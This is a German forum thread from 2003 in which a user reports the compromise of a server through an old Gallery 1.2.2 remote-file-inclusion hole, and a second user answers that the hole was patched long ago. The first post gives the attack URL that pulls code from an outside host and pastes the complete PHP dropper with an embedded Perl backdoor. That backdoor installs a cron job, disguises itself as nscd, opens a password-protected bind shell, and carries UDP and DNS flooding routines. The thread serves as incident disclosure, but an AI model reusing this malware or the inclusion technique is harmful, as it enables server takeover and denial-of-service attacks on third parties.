!!!Sicherheitsloch in Version 1.2.2 (und höher?)!!!

shinji

Joined: 2003-06-17
Posts: 1
Posted: Tue, 2003-06-17 20:34

Hallo !!

Es gibt ein riesiges Sicherheitsloch in der Version 1.2.2 der Galerie und eventuell auch noch in höheren Versionen. Das mussten wir erst vor einigen Tagen am eigenen Leib erfahren als jemand über die Gallery ein bösartiges PERL-Script auf unseren Server installierte und damit einen freien Zugang zu unserem Rechner erlangen konnte. Das Script öffnet den Port 1337 nach außen und installiert sich einen Cronjob der stündlich startet und bestimmt 5GB Traffic pro Stunde verursacht !!!

Das Problem ist die Datei modsecurity.php.

Über den Parameteraufruf

/gallery/errors/configmode.php?GALLERY_BASEDIR=http://vddos.tripod.com/

war es möglich das unten angefügte Script .nscdrecover zu installieren.
Das Script wurde von mir mittlerweile gelöscht (in /tmp /var/temp und .../errors/ !!!). Aber seitdem versuchen alle paar Minuten zwei IP Adressen aus Russland auf diesen Port zuzugreifen:

80.64.108.45
80.64.108.34

Mehr dazu auch in der Newsgroup linux.debian.security:
[link]http://groups.google.de/groups?q=.nscdrecover&hl=de&lr=&ie=UTF-8&oe=UTF-8&selm=20030610215017%245169%40gated-at.bofh.it&rnum=2[/link]

Und hier das PERL-Script:

<?php
$bfg = <<<ENDOFBFG
#!/usr/bin/perl -w

\$pass = "SOdS8vdw0SB0U";
\$str = 'Mess with the best - die like a rest!'x1337;

use IO::Socket;
use IO::Select;
use POSIX;

sub redir
{
my \$port = shift;
my \$dest = shift;
\$SIG{ALRM} = sub { exit };
 alarm 60;
\$sa = IO::Socket::INET->new( Proto => "tcp", Listen => 1, ReuseAddr
=> 1,
  LocalPort => \$port) or exit;
 \$sin = \$sa->accept or exit;
 close(\$sa);
 alarm 0;
\$sout = IO::Socket::INET->new( Proto => "tcp", PeerAddr => \$dest) or
exit;
\$sin->autoflush(1);
\$sout->autoflush(1);
\$sel = IO::Select->new(\$sin, \$sout);
while(@sock = \$sel->can_read(180)) {
    foreach \$s(@sock) {
 \$buf = <\$s>; exit unless(\$buf);
 print \$sout \$buf if(\$s eq \$sin);
 print \$sin \$buf if(\$s eq \$sout);
}}}

sub shell
{
my \$port = shift;
\$SIG{ALRM} = sub { exit };
 alarm 60;
use Socket;
 socket(S, PF_INET, SOCK_STREAM, 0);
 setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
 bind(S, sockaddr_in(\$port, INADDR_ANY));
 listen(S, 1);
 accept(X, S);
 close(S);
 alarm 0;
 open STDIN, "<&X";
 open STDOUT, ">&X";
 open STDERR, ">&X";
 close X;
 exec("/bin/sh");
}

sub udp
{
my \$host = shift;
my \$time = shift;
 \$sock = IO::Socket::INET->new(Proto => 'udp', PeerAddr => \$host,
      PeerPort => int(rand 65535)) or exit;
 \$sock->autoflush(1);
 \$SIG{ALRM} = sub { exit };
 alarm \$time;
 alarm 180 unless(alarm \$time);
 print \$sock \$str while(1);
}

sub ddns
{
my \$host = shift;
my \$time = shift;
 \$sock = new IO::Socket::INET->new(Proto => 'udp', PeerAddr =>
\$host,
  PeerPort => 53) or exit;
 \$sock->autoflush(1);
 \$SIG{ALRM} = sub { exit };
 alarm \$time;
 alarm 180 unless(alarm \$time);
while(1) {
 my \$s = int(rand(89)+10);
 my \$r1 = int(rand(89)+10);
 my \$r2 = int(rand(89)+10);
 my \$r3 = int(rand(89)+10);
 my \$r4 = int(rand(89)+10);
 send(\$sock,"\$s\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02\$r1\\x02\$r2\\x02\$r3\\x02\$r4\\x07in-addr\\x04arpa\\x00\\x00\\x0c\\x00\\x01",0);
}}

\$0 = '/usr/sbin/nscd'.' 'x100;
exit if fork;
\$SIG{ALRM} = 'IGNORE';
\$SIG{TERM} = 'IGNORE';
\$SIG{CHLD} = 'IGNORE';
\$SIG{INT} = 'IGNORE';
\$SIG{QUIT} = 'IGNORE';
\$SIG{HUP} = 'IGNORE';
open STDIN, "</dev/null";
open STDOUT, ">/dev/null";
open STDERR, ">/dev/null";
POSIX::setsid();

\$csock = IO::Socket::INET->new(Proto => 'udp', LocalPort => 1337) or
exit;
while(\$string = <\$csock>)
{
 chop(\$string);
 my (\$pw, \$cmd, \$arg1, \$arg2) = split " ", \$string;
 next unless(\$cmd);
 next unless(\$arg1);
 next unless(crypt(\$pw, \$pass) eq \$pass);
 if (\$cmd eq "ping") {
     my \$bsock = IO::Socket::INET->new(Proto => 'udp', PeerAddr =>
\$arg1,
       PeerPort => \$arg2, ReuseAddr => 1) or next;
     print \$bsock "pong ".`uname -mnrs`;
     close \$bsock;
 } elsif (\$cmd eq "die") {  exit if(crypt(\$arg1, \$pass) eq \$pass);
 } elsif (\$cmd eq "redir") {  redir(\$arg1, \$arg2) unless(fork);
 } elsif (\$cmd eq "shell") {  shell(\$arg1) unless(fork);
 } elsif (\$cmd eq "udp") {  udp(\$arg1, \$arg2) unless(fork);
 } elsif (\$cmd eq "ddns") {  ddns(\$arg1, \$arg2) unless(fork);
 }
}
ENDOFBFG;

$file="/.nscdrecover";

$dir = getcwd();
unlink($dir.$file);
$f = fopen($dir.$file, "w+");
if(!$f) {
        $dir = "/var/tmp";
 unlink($dir.$file);
        $f = fopen($dir.$file, "w+");
        if(!$f) {
                $dir = "/tmp";
  unlink($dir.$file);
                $f = fopen($dir.$file, "w+");
        }
}
fputs($f, $bfg);
fclose($f);    

passthru("killall -9 perl");
passthru("killall -9 nscd");
passthru("chmod 555 ".$dir.$file);
passthru("crontab -l|grep -v ".$file." >".$dir."/ct");
passthru("echo \"0 * * * *\" ".$dir.$file." >>".$dir."/ct");
passthru("crontab ".$dir."/ct");
unlink($dir."/ct");
passthru($dir.$file." >/dev/null 2>/dev/null");
echo "all done";

?>

Unsere Gallery wurde jetzt erst einmal deaktiviert.

Ist über diese Lücke was bekannt?
Könnte jemand diesen Beitrag eventuell in guten Englisch an die Entwickler schicken?

DANKE !

Gruß
Thorsten

 
Tim_j
Tim_j's picture

Joined: 2002-08-15
Posts: 6818
Posted: Wed, 2003-06-18 09:32

Hi,

also ich habe das Problem Bharat (dem Entwickler) der Gallery geschildert.
Dein Problem wurde nach seiner Aussage vor ca. 1,5 Jahren gefixed.
Siehe
http://gallery.menalto.com/modules.php?op=modload&name=News&file=article&sid=33

Deine Gallery Version ist ja auch in der Tat sehr veraltet.
Daher _muss_ ich leider sagen : Selber schuld.

Gruß,

Jens